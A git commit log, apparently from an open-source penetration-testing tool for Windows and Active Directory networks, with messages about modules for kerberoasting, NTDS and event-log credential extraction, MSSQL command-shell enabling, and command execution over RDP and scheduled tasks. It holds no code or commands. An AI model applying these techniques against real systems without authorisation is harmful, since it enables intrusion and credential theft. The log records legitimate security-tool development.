2025-06-03 11:17:02 +02:00
Alex 9d3f34e4b6 Merge pull request #711 from t94j0/main
Update kerberoast command output to be idiomatic
2025-06-03 11:15:09 +02:00
Alex 6decd7fb00 Merge pull request #714 from Pennyw0rth/neff-fix-subnets
Add base_dn option to subnet module
2025-06-03 11:09:55 +02:00
Alexander Neff 10e7c62c30 Allow anonymous auth with asreproast and kerb/hash auth 2025-06-03 05:07:41 -04:00
Alexander Neff e2e70a7193 Allow an empty nt hash 2025-06-03 05:07:21 -04:00
Alexander Neff dc0bde6d80 Add base_dn option to subnet module 2025-06-03 04:40:39 -04:00
Mickey De Baets db5bf36a1c Merge branch 'main' into main 2025-06-02 21:46:44 +02:00
Max Harley 73dc41122a Address comments from NeffIsBack 2025-05-30 11:51:42 -04:00
Alexander Neff 2a6b4c7e4b Formatting 2025-05-29 19:25:34 -04:00
Alexander Neff ad637e1c8e Enable asreproast with anonymous ldap logins 2025-05-29 19:15:19 -04:00
Alexander Neff e8f62d23c2 Hide non admins in --verbose 2025-05-29 18:30:07 -04:00
Alexander Neff 655c272462 Functionalize rpc methods, fix kerberos auth and resolve usernames for non-admin SIDs 2025-05-29 18:23:03 -04:00
Alexander Neff f24bb77b0c Formatting 2025-05-29 17:39:14 -04:00
Alexander Neff e7138b6a15 Add extraction of scheduled tasks 2025-05-29 17:38:40 -04:00
Max Harley 74c252656a Update kerberoast command output to be idiomatic
The output currently shows as username\domain. Most of the time, tools output
usernames in the opposite way where the domain is first, and then the username
2025-05-29 17:13:14 -04:00
Alexander Neff 9a11512426 Formatting 2025-05-29 14:19:04 -04:00
Alexander Neff 2e86a0e521 Functionalize admin enumeration 2025-05-29 13:55:26 -04:00
zblurx 71ccfd930d Merge pull request #709 from Pennyw0rth/ldap_checker_removal
Ldap checker removal
2025-05-28 16:04:31 +02:00
Alex 1c1194aa31 Merge pull request #666 from termanix/dc-list
REopen Update --dc-list Now check trusted domains DCs
2025-05-28 16:02:14 +02:00
termanix ed88beebf9 added remove sign to description on enum_trust 2025-05-28 09:56:21 -04:00
termanix 36bdf2fb63 added author to pi 2025-05-28 09:51:13 -04:00
zblurx 155553a749 revert db changes 2025-05-28 15:48:15 +02:00
termanix 48839579e2 Merge branch 'main' into dc-list 2025-05-28 09:43:54 -04:00
Alexander Neff b2fe25ac91 Change domain color on trust enumeration 2025-05-28 09:38:30 -04:00
Alexander Neff fdfafb6f6e Separate domain trusts visually by using succes instead of hightlight 2025-05-28 09:18:37 -04:00
Alexander Neff 87c95a4133 Move int casting to value source 2025-05-28 09:01:18 -04:00
Alexander Neff 23bab54b1c Remove duplicate if list is empty check 2025-05-28 08:37:13 -04:00
Alexander Neff 5456154fa2 Fix trust bits 2025-05-28 08:36:47 -04:00
Alexander Neff 1904ee44ae Simplify logic 2025-05-28 08:17:48 -04:00
Alexander Neff ccd39ff2e3 Fix error handling when resolving the DCs 2025-05-28 08:12:04 -04:00
Alex 1a37573bea Merge pull request #710 from Pennyw0rth/neff-fix-spec
Fix spec file
2025-05-28 14:05:04 +02:00
Alexander Neff a6542cac64 Fix spec file 2025-05-28 07:55:30 -04:00
Alexander Neff f3d5f8df0a Readd ldap-checker module with 'REMOVED' note 2025-05-28 07:21:04 -04:00
Alexander Neff f36c53f34f Formatting 2025-05-28 07:06:47 -04:00
Alexander Neff dd2a053e68 Add debug log statements 2025-05-28 07:06:33 -04:00
Alexander Neff a651678237 Add exception handling if no TLS cert is available 2025-05-28 06:41:32 -04:00
Alexander Neff 8fb63349df Add debug log statements 2025-05-28 06:33:19 -04:00
Alexander Neff 0d87cc573b Update impacket to add the latest changes by zblurx regarding the cbt 2025-05-28 06:29:05 -04:00
Alexander Neff 8fd0e3917d Rename variable to more meaningful name 2025-05-28 06:28:37 -04:00
zblurx 3b0f74fdf6 cleanup the code 2025-05-28 12:12:55 +02:00
zblurx 3fb002c2b7 update poetry lock 2025-05-28 12:08:02 +02:00
zblurx f808948970 update e2e 2025-05-28 11:37:57 +02:00
zblurx 267bd93c42 change colors and add values into db 2025-05-28 11:37:50 +02:00
zblurx 5bbdb70ec9 update cbt check 2025-05-28 10:57:30 +02:00
zblurx f8033d6c64 fix ldap-signing check 2025-05-27 19:14:14 +02:00
zblurx 66642a514f implement the checks from ldap-checker module in core ldap protocol 2025-05-27 19:10:46 +02:00
Alex 3bf9de3f46 Merge pull request #707 from Pennyw0rth/neff-switch-impacket
Switch impacket branch to Pennyw0rth fork
2025-05-27 15:16:14 +02:00
Alexander Neff f61e90b770 Switch impacket branch to Pennyw0rth fork 2025-05-27 09:10:43 -04:00
Alexander Neff 4f2a611d40 Add credits 2025-05-27 08:56:47 -04:00
Alexander Neff 812ceabb70 Hide enumerate admins to --verbose for reducing logs when scanning large ranges 2025-05-27 08:48:48 -04:00
Alexander Neff c62b5fc18b Fix logging bug in change-password 2025-05-27 08:45:28 -04:00
Alexander Neff b2b5c68e1c We must connect to the DC instead of the target because we can only enumerate domain groups on the DC 2025-05-27 08:45:15 -04:00
Alexander Neff 7108e2aa5b Make opsec_safe as we only use native win protocols 2025-05-27 07:42:24 -04:00
Alexander Neff 81a144902f Group users when being in both dom admin and enterprise admin group 2025-05-27 07:42:02 -04:00
Alexander Neff 65bd7aedf9 Remove Administrators group as not found and readd check for dom admin in folders 2025-05-27 07:32:14 -04:00
Alexander Neff 6c9c141885 Skip administrator folder 2025-05-27 07:07:35 -04:00
Alexander Neff a6fa872b3b Switch to user objects instead of multiple lists 2025-05-27 06:59:49 -04:00
Alexander Neff 747df104ff Simplify exception handling 2025-05-27 06:59:11 -04:00
haytehcy 6e52d617c8 Ruff checks 2025-05-26 22:03:44 +01:00
haytehcy afb78358cf Refactored SMBSpider 2025-05-26 21:38:34 +01:00
Alex e2f225ad34 Merge branch 'main' into dc-list 2025-05-26 11:44:51 +02:00
Alexander Neff 3b12e1407a Merge branch 'main' into presence 2025-05-25 16:25:42 -04:00
Alex 6a0a985c32 Merge pull request #629 from Pennyw0rth/neff-update-ruff
Update Ruff and Fix Linting
2025-05-25 22:21:46 +02:00
Alexander Neff 3fcb3777db Regenerate lock file 2025-05-25 14:32:49 -04:00
Alexander Neff d0f9b2d9e2 Display proper info when there is no adcs in the domain 2025-05-25 14:25:02 -04:00
Alexander Neff 81e4977324 Fix remove-mic module 2025-05-25 14:21:44 -04:00
Alexander Neff 1b750d8fbc Don't test change-password module otherwise we can't log in anymore... 2025-05-25 14:16:33 -04:00
Alexander Neff 730a4bfded Linting 2025-05-25 13:11:32 -04:00
Alexander Neff 9e1c44bcfb Merge branch 'main' into neff-update-ruff 2025-05-25 13:11:07 -04:00
Alexander Neff 769f82f5e3 Linting 2025-05-25 13:10:28 -04:00
Alexander Neff c91c9dd93b Linting 2025-05-25 13:10:01 -04:00
mpgn b1f0368835 Merge pull request #664 from Pennyw0rth/be
Make nxc compatible with bloodhound-ce zip
2025-05-25 18:55:52 +02:00
mpgn 1afef2fdf5 Merge branch 'main' into be
Signed-off-by: mpgn <[email protected]>
2025-05-25 18:48:44 +02:00
Alexander Neff dd32695096 Update lock file 2025-05-25 12:47:13 -04:00
mpgn 1281b0f296 Merge pull request #671 from Pennyw0rth/fix_host_info 2025-05-25 18:46:59 +02:00
Alexander Neff b73e51c0b7 Merge branch 'main' into neff-update-ruff 2025-05-25 12:46:35 -04:00
Alexander Neff e5d3b66fb3 Add comments 2025-05-25 11:29:02 -04:00
Alexander Neff 70910223b4 Move bloodhound package info function to the helpers 2025-05-25 11:04:29 -04:00
Alexander Neff 09cb12d759 Swap command order, otherwise pipx will complain 2025-05-25 11:02:10 -04:00
Alexander Neff 51dfd5179a Actually as the poetry file now says 'bloodhound-ce' we must uninstall that package 2025-05-25 10:47:07 -04:00
Alexander Neff 962a7ec45c Add info if 'bloodhound' package not found 2025-05-25 10:43:38 -04:00
Alex ff531553ac Merge pull request #706 from Pennyw0rth/neff-improve-eventlog_creds
Improve eventlog_creds
2025-05-25 16:16:16 +02:00
Alexander Neff 614de0b75f Use already existing config object 2025-05-25 10:11:49 -04:00
Alexander Neff c3c487600e Add missing check if config section is missing 2025-05-25 10:10:29 -04:00
Alexander Neff 2c12ab7202 Improve regex match and reduce false positives 2025-05-25 09:48:58 -04:00
Alexander Neff 379641e25c Allow setting the limit to UNLIMITED 2025-05-25 09:48:38 -04:00
Alexander Neff 09ca4c91f4 Implement unlimited querying with MSEven 2025-05-25 09:47:54 -04:00
mpgn 65e6e8cf2e fix poetry lock 2025-05-25 12:21:42 +00:00
mpgn 2164b4c699 Merge branch 'main' into be
Signed-off-by: mpgn <[email protected]>
2025-05-25 14:17:26 +02:00
Alexander Neff ef7e97478e Add missing output variable 2025-05-25 08:14:37 -04:00
Alexander Neff 779f955f0f Exclude Application Data as this creates and infinite recursion on wmi/winrm 2025-05-25 07:45:52 -04:00
Alex ded34e0de2 Merge pull request #705 from Pennyw0rth/neff-fix-badsuccessor
Check for win server 2025 instead of DFL 2025
2025-05-25 13:21:46 +02:00
Alexander Neff e53f1cf378 Now checking for dc with win server 2025 and not functional domain level to be 2025 2025-05-25 07:16:03 -04:00
Alex 5c36c9859f Merge pull request #704 from Pennyw0rth/neff-fix-ldap
Switch LDAP source to fixed version
2025-05-25 13:15:03 +02:00
mpgn 15fb6a3d1f update poetry lock 2025-05-25 11:07:30 +00:00
mpgn 95ca5b437a Merge branch 'main' into be
Signed-off-by: mpgn <[email protected]>
2025-05-25 13:04:29 +02:00
mpgn 7d3dd40912 make bloodhound-ce default 2025-05-25 11:02:38 +00:00
Alexander Neff 263b1df2ae Revert #682 and reenable ldap signing 2025-05-25 06:58:42 -04:00
Alexander Neff 789edeb30a Switch to the fixed ldap signing version from zblurx 2025-05-25 06:57:34 -04:00
Alexander Neff 1280eaf0cb Fix winrm command execution and add missing parameters to ps_execute 2025-05-25 06:54:20 -04:00
Alexander Neff a3889b84f1 Print output line by line 2025-05-25 06:53:56 -04:00
Alexander Neff 70cc90ad11 Merge branch 'main' into aws-credentials 2025-05-24 11:13:58 -04:00
Alex 0befdd064c Merge pull request #703 from Pennyw0rth/neff-fix-logger-port
Fix logging port and also update the port when switching to LDAPS
2025-05-24 17:12:42 +02:00
Alexander Neff a4cf832e9d Remove wmi from executable protocols and remove wmiexec from exec-methods due to bugs 2025-05-24 09:54:47 -04:00
Alexander Neff 5cd7a6c7e8 Fix logging port and also update the port when switching to LDAPS 2025-05-24 09:32:10 -04:00
Alexander Neff 0fe468f39b Add wmi to supported protocols 2025-05-24 09:24:01 -04:00
Alexander Neff 4714664abf Formatting 2025-05-24 08:53:30 -04:00
Alex c8430b661e Merge branch 'main' into aws-credentials 2025-05-24 14:40:37 +02:00
Braiant Giraldo 1431481116 Update aws-credentials.py
Added context.log.highlight() to the module

Signed-off-by: Braiant Giraldo <[email protected]>
2025-05-23 19:31:48 -05:00
mpgn c15faf1623 Merge pull request #702 from Pennyw0rth/badsuccesor
Add Badsuccessor module
2025-05-23 18:10:59 +02:00
Alexander Neff b84d04a448 Make text more precise 2025-05-23 12:07:49 -04:00
Alexander Neff e75512a93c Add domain functional level check 2025-05-23 12:04:19 -04:00
Alexander Neff fb754166e4 Add options text 2025-05-23 11:41:42 -04:00
Alexander Neff dbc3bd335a Formatting 2025-05-23 11:40:58 -04:00
mpgn c09376859e fix ruff 2025-05-23 17:32:04 +02:00
mpgn d1d700243b add module badsuccessor 2025-05-23 17:13:33 +02:00
mpgn 057872cc15 add exam 2025-05-23 17:13:10 +02:00
Alex e6fe63475a Merge pull request #691 from crosscutsaw/ntdsutil-new
update ntdsutil.py to behave like --ntds
2025-05-23 00:01:24 +02:00
Alexander Neff 073abc9652 Remove unused import 2025-05-22 17:58:25 -04:00
Alexander Neff abf9b34ad0 Make use of the filename template in the smb protocol 2025-05-22 17:57:26 -04:00
mpgn 1319fb4fc4 Merge pull request #670 from Pennyw0rth/ldap_fail
Fix ldap simple auth with base object
2025-05-22 22:53:10 +02:00
Alexander Neff 3f38b5fc8c Merge both if statements 2025-05-22 16:43:27 -04:00
Alexander Neff 41b60eb3fc Restrict swapping the scope to when we have an operationsError and scope is None (didn't try with scope=baseObject) 2025-05-22 16:41:36 -04:00
FRE d76127cc09 [WCC] Add check for LLMNR 2025-05-22 15:54:02 +02:00
FRE 698c32f73d [WCC] Ignore KDNIC in NBTNS check 2025-05-22 15:08:56 +02:00
mpgn a9e182770f update code 2025-05-21 14:47:14 +02:00
Alexander Neff b87f525d87 Add the Administrators to checked groups 2025-05-20 18:44:09 -04:00
Mickey De Baets 6a9f1212c1 Merge branch 'main' into main 2025-05-20 15:18:20 +02:00
termanix 500eaa7ca8 enum_trust ruff fixed 2025-05-20 09:08:37 -04:00
termanix a689cd1459 Replaced Reprecated with Removed 2025-05-20 09:05:30 -04:00
termanix c25640c997 Merge branch 'Pennyw0rth:main' into dc-list 2025-05-20 09:02:26 -04:00
Alex 69c1137a3b Merge pull request #699 from Pennyw0rth/NeffIsBack-patch-1 2025-05-20 12:31:27 +02:00
emre e18e69e563 Update ntdsutil.py 2025-05-20 07:26:07 +03:00
Alex ac80cc2a73 Update PULL_REQUEST_TEMPLATE.md
Signed-off-by: Alex <[email protected]>
2025-05-20 01:19:01 +02:00
LTJAX 3bb35503ed Add mssql_dumper module for sensitive data discovery 2025-05-19 17:34:43 +03:00
Alexander Neff d481f55a14 Simplify logic and remove highlight if no admin was found in directories 2025-05-18 20:14:59 -04:00
Alexander Neff b0d34ad7fc Simplify logic 2025-05-18 20:13:21 -04:00
Alexander Neff 2e0443ff8a Remove duplicate initialization 2025-05-18 20:05:24 -04:00
Alexander Neff e2539855a3 Simplify logic 2025-05-18 20:05:10 -04:00
Alexander Neff e08935d31a Simplify logic 2025-05-18 19:59:35 -04:00
Alexander Neff af56d9470c Remove unused function and simplify logic 2025-05-18 19:54:07 -04:00
Alexander Neff fb52fc6dc1 Simplify logic 2025-05-18 19:52:45 -04:00
Alexander Neff a2d4d9319a Simplify logic 2025-05-18 19:49:41 -04:00
Alexander Neff a219e092b8 Get only the default domain and make code shorter 2025-05-18 19:30:20 -04:00
Alexander Neff 01c7752522 Improve readability 2025-05-18 19:29:27 -04:00
Alexander Neff 9be36017b6 Replace .error with .fail and clean up code 2025-05-18 19:02:14 -04:00
Alex d1239445e7 Merge branch 'main' into presence 2025-05-19 00:52:48 +02:00
emre 137f70a84c Update ntdsutil.py 2025-05-19 00:37:43 +03:00
emre c3c4edbe4e Update ntdsutil.py 2025-05-19 00:37:02 +03:00
emre 11458b07f0 ruff fix all 2025-05-19 00:26:02 +03:00
emre c34d00651b ruff fix everything 2025-05-19 00:23:13 +03:00
emre 7e0476d50b Update ntdsutil.py 2025-05-18 20:39:22 +03:00
Alex e721917b8e Merge pull request #695 from Cyb3rC3lt/main
Updated whoami and find-computer modules
2025-05-18 12:50:18 +02:00
Alexander Neff e9d17004d4 Formatting 2025-05-18 06:46:23 -04:00
Alexander Neff c11090e1e6 Remove unnecessary try&except 2025-05-18 06:46:14 -04:00
Alexander Neff d7333e25d9 Add missing import 2025-05-18 06:45:52 -04:00
David Kennedy 07f273f8c4 Reverted size limit to a large number i.e. 999
Signed-off-by: David Kennedy <[email protected]>
2025-05-18 11:15:05 +01:00
Alex 844af809d5 Merge pull request #452 from lodos2005/main
eventlog_creds Module
2025-05-18 12:05:36 +02:00
David Kennedy 460c351228 Updated to use parse_results and import datetime
Signed-off-by: David Kennedy <[email protected]>
2025-05-18 10:38:31 +01:00
emre fce0ed7ade Update presence.py 2025-05-18 09:49:09 +03:00
Alex 7aa6c69039 Merge pull request #696 from Pennyw0rth/neff-fix-winrm-db
Fix winrm database logic
2025-05-17 22:30:34 +02:00
Alex 9f906eaa93 Merge pull request #694 from cyberG33k02/false-negative-fix
fix(ntlm): include server hostname in Workstation field of Authentication
2025-05-17 22:10:39 +02:00
Alexander Neff 07a0ae0aa9 Add database logic for hash login and ensure admin relation is added via queried userid 2025-05-17 15:49:25 -04:00
cyber02 4da19545f6 fix: added reference to issue #694 in NTLM workstation field comment, added the same fix to the hash_login() method 2025-05-17 20:39:30 +01:00
emre 4992c454a3 Update presence.py 2025-05-17 22:02:41 +03:00
siouxchief 92ac8be7da Commit 2025-05-17 11:45:37 +01:00
cyber02 fcb3078476 fix(ntlm): include server hostname in Workstation field of Authenticate message 2025-05-16 23:01:45 +01:00
mpgn f3da3dad00 avoid changing login logic 2025-05-15 23:19:29 +02:00
mpgn ee945fa9b4 fix review 2025-05-15 23:13:23 +02:00
mpgn 2cf004db4f fix review 2025-05-15 23:13:00 +02:00
emre 770cb6ab7e Update ntdsutil.py 2025-05-15 21:26:26 +03:00
Alex 07b4eba6e0 Merge pull request #557 from crosscutsaw/enable_cmdshell
new module: mssql > enable_cmdshell
2025-05-15 20:11:26 +02:00
Alexander Neff 6030c49f54 Specify that it is an MSSQL server 2025-05-15 14:08:17 -04:00
emre 86aac144b5 Update ntdsutil.py 2025-05-15 21:04:23 +03:00
Alexander Neff 1b93d061d9 Rename module link_enable_xp.py to link_enable_cmdshell.py, so that naming scheme is similar to enable_cmdshell 2025-05-15 14:01:26 -04:00
Alexander Neff 30a52aa84f Change .error to .fail to properly use context in logger 2025-05-15 14:00:32 -04:00
Alexander Neff 7cdd1238a2 Formatting and exit when required action is not available 2025-05-15 13:59:42 -04:00
Alex fda6b6a2f4 Merge branch 'main' into enable_cmdshell 2025-05-15 19:16:36 +02:00
Alex 9829b08628 Merge pull request #463 from Dfte/SMB]-Add-the-recyclebin-module
Add option to  --spider and add recyclebin.py module
2025-05-15 19:09:11 +02:00
Alexander Neff 0391e813a7 Linting 2025-05-15 13:06:46 -04:00
Alexander Neff 6cf11e8338 Rename no_print_result to silent in args as well 2025-05-15 13:03:58 -04:00
Alexander Neff d769bc9983 Rename no_print_result to silent and improve readability 2025-05-15 13:01:20 -04:00
Alexander Neff 951ad25d95 Improve readability of the download logic 2025-05-15 12:55:22 -04:00
Alexander Neff dbfb0d8282 Formatting 2025-05-15 12:55:04 -04:00
Alexander Neff 2ec56d1432 Make sure we continue with other users when one user fails 2025-05-15 12:30:19 -04:00
Alexander Neff 6c68d41612 Formatting 2025-05-15 12:29:43 -04:00
Alexander Neff 6d5ce45422 Move remote_ops.finish to end so we have the remoteops available 2025-05-15 12:29:06 -04:00
Alexander Neff 6bee36f2af Formatting 2025-05-15 12:12:55 -04:00
Alex f7f343e0eb Merge branch 'main' into SMB]-Add-the-recyclebin-module 2025-05-15 18:10:37 +02:00
Alexander Neff 6a7871e57e Formatting 2025-05-15 11:56:30 -04:00
Alexander Neff c8849ea062 Fix SyntaxWarnings due to regex 2025-05-15 11:24:03 -04:00
Alex 2b5968f2b6 Merge branch 'main' into main 2025-05-15 17:20:01 +02:00
Mickey De Baets 31995e0c67 Merge branch 'main' into main 2025-05-15 16:52:50 +02:00
Alex 4f028ea9b8 Merge pull request #686 from Pennyw0rth/neff-fix-mssql-module
Automatically preserve state of "advanced options" on the target
2025-05-13 19:32:30 +02:00
Alexander Neff 4d8583e443 Remove boilerplate 2025-05-13 13:25:22 -04:00
Alexander Neff 5d3955b6bc Formating 2025-05-13 13:10:59 -04:00
Alexander Neff 859553fb33 Automatically preserve state of "advanced options" on the target 2025-05-13 13:06:40 -04:00
Xed 02b1361c85 Merge branch 'main' into drop_library_ms 2025-05-12 10:16:57 +02:00
Alex b243ee8748 Merge pull request #682 from Pennyw0rth/neff-ldap-disable-signing 2025-05-10 12:00:00 +02:00
Alex 35c39c1c8e Merge pull request #681 from Pennyw0rth/neff-fix-db-schema
Add a check if the database scheme contains the unique attribute
2025-05-09 17:58:10 +02:00
Alexander Neff 68367ef529 Disable signing in ldap temporarely 2025-05-09 10:33:33 -04:00
Alexander Neff f335cd7654 Formatting 2025-05-09 10:21:20 -04:00
Alexander Neff 94115123f6 Add a check if the database scheme contains the unique attribute 2025-05-09 10:19:21 -04:00
emre 9f9ed93e7f Update presence.py 2025-05-09 01:36:05 +03:00
Mickey De Baets 5c7888c416 Added share exclusion functionality
Added --exclude-shares arg to not scan shares (e.g., ADMIN$ and C$) for OPSEC improvement
2025-05-08 22:07:26 +02:00
Adam Hassan b2a450916b Merge branch 'main' into rdp-exec 2025-05-07 23:12:30 -04:00
termanix c87d0c206b integrated enum_trusts 2025-05-07 15:06:44 -04:00
termanix 602498f09c Merge branch 'Pennyw0rth:main' into dc-list 2025-05-07 13:46:56 -04:00
mpgn 413e5eb51a Merge pull request #662 from Pennyw0rth/cleanup
remove old server code unused
2025-05-07 17:16:45 +02:00
Alex 3209e523a5 Merge pull request #677 from Pennyw0rth/neff-fix-ldap-kerb-dom-trust
Fix domain trust with kerberos in ldap
2025-05-07 17:12:20 +02:00
Alexander Neff 7bda89661b Remove unused variable 2025-05-07 11:11:52 -04:00
Alexander Neff abda35be65 Remove on_shutdown in connection.py 2025-05-07 11:09:48 -04:00
Alexander Neff 7cd990f920 Remove old module server stuff 2025-05-07 11:06:32 -04:00
Alexander Neff 4d68843057 Remove on_shutdown from modules 2025-05-07 10:56:47 -04:00
Alexander Neff a12c6422ce Fix domain trust with kerberos in ldap 2025-05-07 10:40:17 -04:00
mpgn 196d9fa6d9 Merge branch 'main' into cleanup 2025-05-07 16:09:37 +02:00
mpgn 5efa2c3299 Update example_module.py
Signed-off-by: mpgn <[email protected]>
2025-05-07 16:09:17 +02:00
mpgn 5b6d00ed90 Update connection.py
Signed-off-by: mpgn <[email protected]>
2025-05-07 16:08:21 +02:00
Adam Hassan 5930d2d9af exit cmd.exe after running commands 2025-05-07 03:03:14 -04:00
Adam Hassan 03c52432b5 remove erroneous vars and code relating to old no-output argument 2025-05-07 03:02:29 -04:00
Adam Hassan 6659976b25 remove no-output argument bc no output from rdp via screen 2025-05-07 02:58:08 -04:00
Adam Hassan e1f84377ac remove codec argument bc no output from rdp via screen 2025-05-07 02:57:09 -04:00
Adam Hassan 05492ff6a1 add new e2e commands for rdp execute 2025-05-07 02:52:40 -04:00
Adam Hassan 7ec74ddb05 screenshot before exit when executing commands via rdp 2025-05-07 02:44:40 -04:00
Adam Hassan 9a12116be3 cmd.exe now working and win+r used to open terminal 2025-05-07 02:17:13 -04:00
Adam Hassan 767e26e6e2 powershell over rdp mostly working with aardwolf
cmd not working atm
TODO: Figure out best way to start terminal
TODO: Add --screenshot functionality to see command output
2025-05-07 01:21:40 -04:00
Adam Hassan e56e97c578 add initial execute_cmd using aardwolf keyboard 2025-05-07 00:40:42 -04:00
Adam Hassan 7531bf62d5 add initial rdp exec code based on winrm 2025-05-07 00:26:38 -04:00
Xed 81d07952b9 Merge branch 'main' into drop_library_ms 2025-05-05 19:52:55 +02:00
termanix 7fdca67833 Merge branch 'main' into dc-list 2025-05-05 08:29:05 -04:00
termanix 171c79fde1 Merge branch 'main' into notepad 2025-05-05 08:27:24 -04:00
Alex c19841398f Merge pull request #512 from KriyosArcane/main
New change-password module.
2025-05-04 12:06:31 +02:00
termanix a083405335 Merge branch 'Pennyw0rth:main' into dc-list 2025-05-04 04:07:26 -04:00
FaganAfandiyev f3f27976cf Add e2e_commands.txt tests 2025-05-03 17:33:20 -04:00
Alexander Neff 887ecdd8a7 Refined options examples and formating 2025-05-03 17:26:52 -04:00
Alexander Neff 5f34e563b6 Refactor change-password module to allow set NEWNTHASH 2025-05-03 17:22:05 -04:00
Alex 6aa7d6a114 Merge pull request #668 from Dfte/main
Upgrade the schtask_as module so that we can upload binaries and execute them
2025-05-03 19:22:41 +02:00
Alexander Neff bb36b6d5e6 Only right trim to preserve indentation on certain output 2025-05-03 13:20:08 -04:00
Alexander Neff 362d373c21 Add examples to options and formating 2025-05-03 13:18:28 -04:00
mpgn a47431cbfd fix hostname info if no ntlm 2025-04-29 14:20:16 +02:00
mpgn 3ff6479795 better output 2025-04-29 08:41:09 +02:00
mpgn cc09aefbb9 more simple code 2025-04-29 01:03:17 +02:00
mpgn 2e254396b5 simple update 2025-04-29 00:41:53 +02:00
mpgn 8b2135a7b1 simple update 2025-04-29 00:40:24 +02:00
mpgn 1452068944 simple update 2025-04-29 00:39:37 +02:00
mpgn 9dc029847a fix ldap simple auth 2025-04-29 00:12:19 +02:00
Alex 9890316802 Merge pull request #669 from Pennyw0rth/neff-update-pylnk3 2025-04-28 22:52:57 +02:00
Alexander Neff f3e161597d Update pylnk3 to remove debug print 2025-04-28 15:23:11 -04:00
Aurélien CHALOT 102213771f Upgrade the schtask_as module so that we can upload binaries and then execute them 2025-04-28 14:30:09 +02:00
Xed ba7d5223b8 Merge branch 'Pennyw0rth:main' into drop_library_ms 2025-04-28 05:00:33 +02:00
Alex 6a2874e804 Merge pull request #667 from Pennyw0rth/neff-fix-mssql 2025-04-27 19:56:02 +02:00
Alexander Neff 207b7da461 Fix empty domain string 2025-04-27 13:17:56 -04:00
Alexander Neff 6dcbb02a02 Use process password for kerb login failure 2025-04-27 11:55:27 -04:00
Alexander Neff 6bf72192c4 Formating 2025-04-27 11:53:51 -04:00
Alexander Neff 5e9e06b1a1 Formating 2025-04-27 10:10:10 -04:00
Alexander Neff 17ef18edd0 Formating and logging change 2025-04-27 10:06:05 -04:00
Alexander Neff 0be367b8aa Improve options 2025-04-27 10:05:52 -04:00
Alexander Neff 059d241727 Restrict returning true on STATUS_PASSWORD_MUST_CHANGE to only the module 2025-04-27 10:05:15 -04:00
Alex f5dc9ea8c6 Merge pull request #665 from Pennyw0rth/neff-fix-pfs-win
Fix pfx output path on windows
2025-04-27 14:58:15 +02:00
Alex b35e1956af Don't replace C: in the path 2025-04-27 14:39:26 +02:00
Xed 29ced36cde Merge branch 'main' into drop_library_ms 2025-04-27 13:28:02 +02:00
termanix a517be8355 Merge branch 'Pennyw0rth:main' into dc-list 2025-04-27 06:26:38 -04:00
mpgn 47b54c838e fix ruff 2025-04-27 10:19:14 +02:00
mpgn fad24dbb42 Merge branch 'main' into cleanup 2025-04-27 10:18:25 +02:00
mpgn fd86652121 more clean 2025-04-27 10:17:52 +02:00
mpgn 848da44f75 Merge pull request #663 from Pennyw0rth/ippsec_video
Fix bunch of stuff from ippsec and 0xdf writeup for vintage box
2025-04-27 10:13:50 +02:00
termanix b7b454e725 Update ldap.py
Signed-off-by: termanix <[email protected]>
2025-04-27 07:55:47 +03:00
termanix b8dfb52802 took the old branch, it was fixed.
Signed-off-by: termanix <[email protected]>
2025-04-27 07:49:27 +03:00
termanix 981ad11b86 Merge branch 'main' into dc-list
Signed-off-by: termanix <[email protected]>
2025-04-27 00:46:47 -04:00
termanix e993fbd0fc Refactored to enforce direct attribute access, preventing misleading classifications and improving error handling. 2025-04-27 00:36:33 -04:00
termanix c1a0f140e1 Thought, would implement it with netlogon but not have time for now, maybe later lol 2025-04-27 00:36:33 -04:00
Alexander Neff 23769d7755 Remove unnecessary try&except block and display trust domains we are skipping 2025-04-27 00:36:33 -04:00
Alexander Neff bab540d734 Add missing trust_type_text value, ref: MS-ADTS 2025-04-27 00:36:33 -04:00
termanix 3af68e3f9d Now check trusted domains DCs 2025-04-27 00:36:33 -04:00
Alex 9196c3216a Fix pfx output path on windows 2025-04-27 02:03:44 +02:00
Alex c34c581b0f Merge pull request #658 from nikaiw/fix_host_duplicate
Update database.py
2025-04-27 01:35:59 +02:00
Alex e61799ad9c Merge pull request #660 from n00py/patch-1
Added more AV Signatures
2025-04-27 01:35:42 +02:00
mpgn 26588a490e fix ruff 2025-04-27 00:36:30 +02:00
mpgn d016fb61fd make nxc compatible with bloodhound-ce 2025-04-27 00:35:16 +02:00
mpgn 61277c889b fix ruff 2025-04-26 20:44:16 +02:00
mpgn 913a71314f fix a bunch of stuff from vintage box on HTB 2025-04-26 20:43:35 +02:00
mpgn 15d100205b fix ruff 2025-04-26 19:24:19 +02:00
mpgn de4171e11e remove old server code unused 2025-04-26 19:22:13 +02:00
n00py d80c8e0b45 Update enum_av.py
Added a few more signatures for Trend Micro monitoring, one for Rapid7 Insight Agent, and some for Ivanti Security 

Signed-off-by: n00py <[email protected]>
2025-04-25 13:30:26 -06:00
NK 02f4439680 Update database.py
Signed-off-by: NK <[email protected]>
2025-04-25 10:29:55 +02:00
NK c5db5478d1 Update database.py
prevent duplicate host insert

Signed-off-by: NK <[email protected]>
2025-04-24 20:09:25 +02:00
XedSama 8b6df3494a Fix NAME option and adding e2e tests 2025-04-24 14:05:31 +02:00
XedSama 34066da22b Better description and new link for documentation 2025-04-24 13:28:51 +02:00
XedSama 54cadbd567 Fix encoding and xmlns property 2025-04-24 13:26:17 +02:00
XedSama 63e9e54e69 Uploading/Cleaning libms file on writable share 2025-04-24 13:13:17 +02:00
XedSama 745de4908a Fix lms_name 2025-04-24 12:38:41 +02:00
emre 170efd36e9 Update rclone.py 2025-04-24 01:41:40 +03:00
XedSama dc4030aad2 Basic module structure 2025-04-23 21:26:46 +02:00
emre 4440eb86d6 Create rclone.py 2025-04-23 19:47:04 +03:00
D4ytox d51fc3f095 Fix . missing from classic path 2025-04-20 16:18:29 +01:00
D4ytox 46c16213f9 Remove the use of XDG_DATA_HOME 2025-04-20 15:17:28 +01:00
D4ytox 8deb2f9924 Use nxc as the folder name for XDG_DATA_HOME as well 2025-04-20 15:09:52 +01:00
D4ytox 0abadb062b Make XDG_CONFIG_HOME append nxc afterwards and XDG_DATA_HOME append nxc_data 2025-04-20 15:03:12 +01:00
D4ytox ff1ce969f9 Use XDG_CONFIG_HOME and XDG_DATA_HOME if set by user 2025-04-20 14:49:25 +01:00
Alex 9668cbce36 Merge pull request #650 from moscowchill/fix-windows-log-path-f332071
fix: Refactor output file path construction in SMB protocol
2025-04-20 02:08:29 +02:00
Marshall Hallenbeck bc712c84ef Merge branch 'main' into main 2025-04-19 09:13:52 -04:00
